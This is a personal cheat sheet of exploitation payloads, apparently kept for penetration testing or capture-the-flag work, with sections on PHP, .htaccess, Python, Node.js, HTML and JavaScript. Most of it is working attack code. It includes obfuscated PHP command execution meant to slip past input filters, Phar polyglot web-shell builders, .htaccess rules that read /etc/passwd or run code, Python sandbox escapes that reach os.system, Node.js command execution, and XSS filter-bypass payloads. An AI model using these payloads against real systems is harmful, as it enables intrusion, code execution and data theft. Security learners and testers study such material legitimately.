Exploitation Payloads
PayloadsAllTheThings is the way to go, but I noted down some of mine.
Shell
Shell โ Blind PoC
To see if your code is executed in a (semi) blind context:
$ ping -c 1 HOST_IP # execute by target
$ sudo tcpdump -i tun0 icmp # see if you got ping
PHP
PHP โ POC
We often run phpinfo
to get information.
<?php phpinfo() ?>
We may also want some additional information:
<?php echo "Current directory: " . getcwd(); ?>
PHP โ Execute Shell Commands
Refer to webshells#php. Special mention to the passthru
function as it can be called without echo
while still displaying the results.
PHP โ Directory Listing
A few different ways to achieve the same output. If you cannot use a loop, simply print the array values one by one using $xxx[0]
, etc.
<?php
var_dump(scandir("."));
$files = scandir(".");
foreach ($files as $file) { echo $file; }
$dir=dir('.');
while ($f = $dir->read()) { echo $f; }
$dir = opendir(".");
while($f = readdir($dir)) { echo $f; }
PHP โ Read a file
There are multiple functions you might use:
<?php
$fileContents = file_get_contents('index.php');
$fileContents = show_source('index.php', true);
$fileContents = highlight_file('index.php', true);
$fileContents = readfile('index.php');
$fileContents = fread(fopen('test.php', 'r'), 4096);
$fileContents = file('eval.php')[0]; // line by line
echo $fileContents;
?>
Base64 encoding is not always necessary, especially with show_source
.
$fileContents = base64_encode($fileContents);
PHP โ Write a file
There are multiple functions you might use:
file_put_contents('/tmp/poc', base64_decode('...'));
You may have to change the permissions:
chmod('/tmp/poc', 0777);
PHP โ Catch Requests
Decode zlib
compressed and base64
encoded payload.
$p=str_replace(" ", "+", $_GET['p']);
$r=zlib_decode(base64_decode($p));
file_put_contents('requests.txt', "Request:\n$r\n", FILE_APPEND | LOCK_EX);
$f = fopen('requests.txt', 'a');
fwrite($f, $_GET['p'] . "\n");
fclose($f);
if ($_SERVER["REQUEST_METHOD"] === "POST") {} // ...
PHP โ Obfuscation
We may have to create innovative payloads due to input being filtered. PHP doesn't much room for that.
- PHP String Function Names
'var_dump'('5');
('var'.'_dump')('5');
$f = 'var'.'_dump'; $f('5');
- PHP Octal Strings
You can copy-paste and use this _php_octal Python Function to get octal representation of your PHP code.
print(_php_octal('(system)("whoami")'))
# Output: ("\163\171\163\164\145\155")("\167\150\157\141\155\151")
# Alternative: $f = "\163\171\163\164\145\155"; $f("\167\150\157\141\155\151");
โ ๏ธ Firstly, function name must be wrapped in parentheses or stored in a variable. Secondly, it only works with double quotes.
- PHP Base 36 or chr: payloads without quotes
If you can use chr(number)
then there is nothing more to say.
Otherwise,there are plenty of ways to get some characters. For instance: (pi().pi())[1] === "."
or microtime()[10] === " "
. More generically, concatenation converts anything to a string.
Refer to this _php_base_convert Python Function:
payload = '(system)("whoami")'
print(_php_base_convert(payload))
# Output: (base_convert(1751504350,10,36))(base_convert(1964604618,10,36))
You can also use PHP and manually craft the payload:
echo base_convert('system', 36, 10); // 1751504350
echo base_convert('whoami', 36, 10); // 1964604618
- PHP Introspection, such as to avoid using
$
var_dump(get_declared_classes()); // ex: for insecure deserialization
var_dump(get_declared_interfaces()); // ex: for insecure deserialization
var_dump(get_declared_traits()); // ex: for insecure deserialization
var_dump(get_defined_functions()); // ex: for insecure deserialization
var_dump(get_defined_vars()); // ex: can access vars using a string,
// e.g. get_defined_vars()['_SERVER'] instead of $_SERVER
var_dump(get_defined_constants()); // ex: can access constants using a string
var_dump(apache_getenv('SECRET')); // same as $_SERVER['SECRET']
PHP โ Random
Utilities
putenv('LD_PRELOAD=/path/to/xxx.so');
call_user_func('function_name', 'arg1');
register_shutdown_function('var_dump', 'Hello, World!');
Phar
Simply zipping the PHP may work. Otherwise, you can use:
<?php // Run 'php --define phar.readonly=0 gen.php'
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.php', '<?php /*code*/ ?>');
// or: $phar->addFile('shell.php', 'shell.php');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->stopBuffering();
โก๏ธ shell.php
is the file inside the archive.
To create a Polyglot Phar (Ex: JPG with \xff\xd8 and \xff\xd9)
<?php // php --define phar.readonly=0 gen.php
$phar = new Phar('shell.phar');
$phar->startBuffering();
$phar->addFromString('shell.php', '<?php /*code*/ ?>');
$phar->setStub("\xff\xd8\xff\xd9\n<?php __HALT_COMPILER(); ?>");
$phar->stopBuffering();
๐ For reference, include 'phar://./shell.phar/shell.php';
.htaccess
htaccess files may be exploited to perform multiple attacks such as:
- ๐๏ธ Server Information Disclosure
- ๐บ๏ธ Source Code Disclosure
- ๐ File Reading
- ๐ฃ Open Redirect
- ๐ค Remote Code Execution
- ...
htaccess โ Server Information Disclosure
These handler can expose sensitive information about the server.
SetHandler server-info
SetHandler server-status # Last URLs fetched, PIDs, Version, VHost
htaccess โ File Reading
If mod_layout
is present, you can append a file to any request.
AddOutputFilter LAYOUT .htaccess
<IfModule mod_layout.c>
LayoutFooter /etc/passwd
</IfModule>
ErrorDocument is always available and can be used to read files:
ErrorDocument 404 %{file:/etc/passwd}
htaccess โ Remote Code Execution
If PHP is available, you can execute code:
php_flag engine on
SetHandler application/x-httpd-php
SetHandler application/x-httpd-php .jpg
Not tested, but SSI may be possible too:
AddType text/html .xxx
AddHandler server-parsed .xxx
Python
Python โ Execute Shell Commands
Simple python code to run a command.
import os;os.system('ls -1a');
import os;os.popen("ls -1a").read();
import subprocess; subprocess.run(['ls', '-1a']);
import subprocess;print(subprocess.run("whoami", shell=True, stdout=subprocess.PIPE, text=True).stdout)
Python โ Obfuscation
A few utilities to bypass filters:
chr(i)
such aschr(46)
for.
','.join([f'ch({ord(c)})' for c in 'whoami'])
- Alternative characters:
glo๏ฝals()
,๐ฆ๐น๐ฆ๐ค
,๐๐๐ฎ๐ค
- Alternative characters: ItalicTextGenerator
Python โ Utilities
For base64 + URL encoding: base64.urlsafe_b64encode(payload)
.
Python โ Filter Bypass
Aside from (
and )
, there are always one or two alternative syntaxes to perform the same action in Python, often resulting in larger payloads.
Replace is only called once, so you can just anticipate and add one more char. Strip only remove the leading/trailing chars.
def foo():
pass
class Bar:
def __init__(self):
self.dummy = 42
bar = Bar()
# Object properties can be accessed with __dict__, '.', and 'getattr'
print(bar.dummy)
print(getattr(bar, 'dummy'))
print(bar.__dict__['dummy'])
print(bar.__getattribute__('dummy'))
# Function properties can be accessed with '.' and 'getattr'
print(foo.__globals__)
print(getattr(foo, '__globals__'))
print(foo.__getattribute__('__globals__'))
# Many attributes, such as __globals__ or __dict__ are dict()
# We can access their values using multiple syntaxes
x = {'flag': 'value'}
flag = x['flag']
flag = x[list(x)[0]]
flag = x.get('flag')
# There are multiple paths to __globals__
# Which contains imported modules and builtins
#
# When accessing the __globals__ of an element inside another
# module, you can access the modules they imported (os, etc.)
lglobals = globals()
lglobals = foo.__globals__
lglobals = bar.__init__.__globals__
lglobals = bar.__init__.func_globals # Python 2
# Builtins can be used to import modules
lbuiltins =__builtins__
lbuiltins = foo.__builtins__
lbuiltins = lglobals['__builtins__'] # lglobals is a dict()
os = __import__('os')
os = lbuiltins.__import__('os')
os = lglobals['os'] # if imported in the global context
# There are multiple ways to achieve the same thing
os.system('whoami')
os.system.__call__('whoami')
os.system.__call__(chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105))
os.system.__call__(str().join([chr(119),chr(104),chr(111),chr(97),chr(109),chr(105)]))
os.__dict__['system']('whoami')
getattr(os, 'system')('whoami')
# Python supports unicode characters in strings
print(f"\\u{ord('s'):04x}") # output: \u0073
print("\u0073") # output: s
import importlib; b64 = importlib.import_module("\u0062\u0061\u0073\u006564") # base64
Python Programs (Inliners)
Alternative to ip a
in Python:
$ python3 -c 'import socket, fcntl, struct; sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM); get_ip = lambda interface: socket.inet_ntoa(fcntl.ioctl(sock.fileno(), 0x8915, struct.pack("256s", bytes(interface[:15], "utf-8")))[20:24]); interfaces = [(i[1], get_ip(i[1])) for i in socket.if_nameindex()]; print(interfaces)'
TCP Port Scan in Python:
$ python3 -c 'import socket; host = "127.0.0.1"; open_ports = [port for port in range(1, 65535) if socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect_ex((host, port)) == 0]; print(open_ports if open_ports else "No open ports found on {}.".format(host))'
Python โ Deep Introspection
Abusing introspection, we may be able to access any imported class and maybe import new ones too. It's complex as indexes are not fixed.
Find: [aclass.__name__ for aclass in current_parent].index('current_class_you_are_looking_for')
Example: [aclass.__name__ for aclass in ().__class__.__base__.__subclasses__()].index('_IOBase')
Example: [aclass.__name__ for aclass in ().__class__.mro()[-1].__subclasses__()].index('_IOBase')
Python 2.7: { file = 40, catch_warnings = 59 }
Python 3.5: { _IOBase = 96, _RawIOBase = 0, FileIO = 0, Popen = -1 }
Python 3.10: { _IOBase = 111, _RawIOBase = 0, FileIO = 0, Popen = -1 }
Python 3.11.8: {_IOBase = 114, _RawIOBase = 1, FileIO = 0, Popen = -1 }
Python 3.11.9: {_IOBase = 115, _RawIOBase = 1, FileIO = 0, BlockFinder = 217, Popen = -1 }
A few commands to learn more about your environment:
globals() # global symbols (variables, functions)
locals() # local symbols (function, method, block)
vars() # without any argument, same as 'locals'
__builtins__.__dict__
import builtins; builtins.__dict__ # builtins
import keyword; print(keyword.kwlist) # keywords
import string; print(string.punctuation) # symbols
local_builtins = ().__class__.__base__.__subclasses__()[59]()._module.__builtins__ # Python2
Access the open builtins function:
open = __builtins__.__dict__['open']
open = ().__class__.__base__.__subclasses__()[40] # Python 2
open = ().__class__.__base__.__subclasses__()[114].__subclasses__()[1].__subclasses__()[0] # Python 3
Accessing the os
module from another module import it:
os = __builtins__.__dict__['__import__']('os')
os = ().__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].os # Python2
os = ().__class__.__base__.__subclasses__()[217].__init__.__globals__['os'] # Python3
You can use this short snippet to find such modules:
for i, aclass in enumerate(().__class__.__base__.__subclasses__()):
if (not hasattr(aclass, '__init__') or not hasattr(aclass.__init__, '__globals__')
or not aclass.__init__.__globals__):
continue
if 'os' in list(aclass.__init__.__globals__):
print("Found at ", i)
Python โ Private Members Introspection
There is a specific syntax to access members prepended by __
:
class SecretFactory:
__attribute = "flag{you_found_me}"
def __get_secret(self):
return "flag{you_found_me_again}"
s = SecretFactory()
print(s.__get_secret()) # โ Incorrect
print(s._SecretFactory__attribute) # โ
Correct
print(s._SecretFactory__get_secret()) # โ
Correct
Python โ Frame/Code Introspection
You can use the code or frame attribute for analysis.
def secret(y = 5):
"""This code is secret"""
flag = b'flag{you_found_me}'
def main():
"""Your code"""
print(secret.__code__.co_consts)
print(__import__('inspect').currentframe().f_globals['secret'].__code__.co_consts)
main()
code = secret.__code__
code = secret.func_code # only in Python 2
code.co_consts # ('This code is secret', b'flag{you_found_me}', None)
code.co_names # ()
code.co_varnames # flag
code.co_cellvars # () | no external variables
Node.js
Node.js โ Read Files
Read the source code of the main script:
require('fs').readFileSync(process.argv[1])
Node.js โ Execute Commands
You can use execSync
or exec
which is async and using a callback.
require('child_process').execSync('cat /etc/passwd')
Node.js โ HTTP Server
...
Node.js โ HTTP Requests
For get requests, we can use relatively short payloads:
require('http').get('URL?arg='+url_encoded_value);
Node.js โ Encoding/Decoding utilities
// Base64 Encode
const encodedData = Buffer.from(data).toString('base64');
const decodedData = Buffer.from(encodedData, 'base64').toString('utf-8');
// URL Encode
const urlEncodedString = encodeURIComponent(data);
HTML
HTML โ Tags/Attributes Filtering Bypass
Many filtering functions will only process the text once. If we know that a specific pattern or keyword is filtered, we can use a payload that works after being filtered. If there is a filter removing <script>
:
- Payload:
<s<script>cript>alert('XSS');</s<script>cript>
- Payload Filtered:
<script>alert('XSS');</script>
You can also try variants if the filter is case-sensitive:
<scIpT>alert('XSS');</scIpT> <!-- script filtered -->
<img src="" ONERROR="alert('XSS')" /> <!-- onerror filtered -->
Not all tags may be banned. Try: a
, img
, button
, object
, svg
, etc.
HTML โ Attribute Value Filtering Bypass
If we are within an HTML attribute
, we can use unicode. Refer to JavaScript Word Filtering Bypass for more payloads.
<img src="NOT_FOUND" onerror="alert(5)">
<img src="NOT_FOUND" onerror=alert('XSS')>
Payload Encoding Using JavaScript
Usage: convert to HTML unicode.
function encodeString(str) {
var encoded = '';
for (var i = 0; i < str.length; i++) {
encoded += '&#' + str.charCodeAt(i) + ';';
}
return encoded;
}
HTML โ Character Filtering
- You can use slashes instead of spaces:
<button/autofocus/onfocus=[...]>
<image/src/onerror=console.log(8)>
<img/src/onerror=console.log(8)>
- If
<
and>
are filtered, use DOM attributes such asonerror
, etc.
-"><script>alert(1)</script>
+" onerror=alert(1) x="
- If
http
/https
is filtered, simply remove it
-[...] href="https://example.com" [...]
+[...] href="//example.com" [...]
JavaScript
JavaScript โ Word Filtering Bypass
Refer to HTML Attribute Value Filtering Bypass for more payloads. The payloads below can be used within a script
or an HTML attribute
.
\u0061lert('XSS') // Unicode Bypass
eval('aler'+'t')('XSS') // Eval Bypass (with/without '+')
eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))
eval(atob('YWxlcnQoJ1hTUycp'))
eval(decodeURIComponent(location.hash)) // Provide #alert(1)
eval(unescape(location.hash)) // Provide #alert(1)
If btoa
is banned and you want to extract values with weird characters, maybe you could use payload.replace(/<[^>]+>|\n|\t/g, "")
.
Payload Encoding Using JavaScript
Usage: convert text for usage with String.fromCharCode
.
// stringToCharCodeArray("alert('XSS')")
function stringToCharCodeArray(str) {
var charCodes = [];
for (var i = 0; i < str.length; i++) {
charCodes.push(str.charCodeAt(i));
}
return charCodes.join(",");
}
Usage: convert string to an unicode-encoded string.
// console.log(convertToUnicode("alert('XSS')"));
// \u0061\u006c\u0065\u0072\u0074('\u0058\u0053\u0053')
function convertToUnicode(str) {
var unicodeStr = "";
for (var i = 0; i < str.length; i++) {
let char = str[i];
if (['(', ')', "'"].includes(char)) {
unicodeStr += char;
} else {
unicodeStr += "\\u" + str.charCodeAt(i).toString(16).padStart(4, '0');
}
}
return unicodeStr
}
JavaScript โ HTML objects
In many payloads, we want to access location
and document.cookie
. They are often banned keywords. Tricks for words still apply.
\u006Cocation // Unicode Bypass
document["location"], window["document"] // String/Array Access
window.document.location // Property Access (often banned)
window == self == this == top == [...] // Window as multiple "aliases"
There are multiple ways to change the location:
location = "" // or location.href = ""
location.assign("")
location.replace(...)
You can access HTML tags, such as to change a tag src value, using:
document.all // access HTML elements by index
document.all[5].src = "" // If [5] is a <link>/etc.
๐ Don't forget that you may be able to use jQuery.
JavaScript โ Function Override
First, assume we have a class defined before we inject our payload.
class Foo { bar() { return 5 } }
When can override it using:
Foo.prototype.bar = () => 6 // bar() returns 6
Foo.prototype.bar = Number.isNaN // bar() returns false
Foo.prototype.bar = {Number:isNaN}.Number // bar() returns true
You can do the same for one specific instance:
const x = {}
x.toString() // "[object Object]"
x.toString = () => { return 6 }
x.toString() // 6
JavaScript โ String Filtering
-"toto"
-'toto'
+`toto`
+/toto/ // can be used as if
+/toto/.source + /tata/.source // must extract to concatenate
+x=document.href; a=x[0]+[...] // reuse characters
๐ You don't need to quote numbers: ("" + 22) == "22"
.
JavaScript โ Character Filtering
- You do not need to declare variables with
let
/var
-let x = 5
+x=5
- You can use comments instead of whitespaces
new/**/Object
- If
http
/https
is filtered, simply remove it
-fetch("https://example.com")
+fetch("//example.com")
- There is no need to add parentheses when creating an object
-new Bar()
+new Bar
+new String // Another way to get an empty string
- If semicolon is filtered, we can use newlines (
%0A
), and datastructures such as arrays or objects.
-expr1;expr2
+expr1
+expr2
-let url=document.location; console.log(url)
+[url=document.location,console.log(url)]
+_={_:url=document.location,_:console.log(url)}
- You do not need braces to create a function
-(function () { console.log(0); console.log(1) })()
+(new Function("console.log(0); console.log(1)"))()
+(() => [console.log(0), console.log(1)])()
- You can use braces as an alternative to dot
-document.location
+document["location"]
๐ป To-do ๐ป
Stuff that I found, but never read/used yet.
def xml_encode(input_string):
letters = []
for char in input_string:
if 'a' <= char <= 'z' or char in ['-', "'"]:
letters.append(f'&#x{ord(char):X};')
else:
letters.append(char)
return ''.join(letters)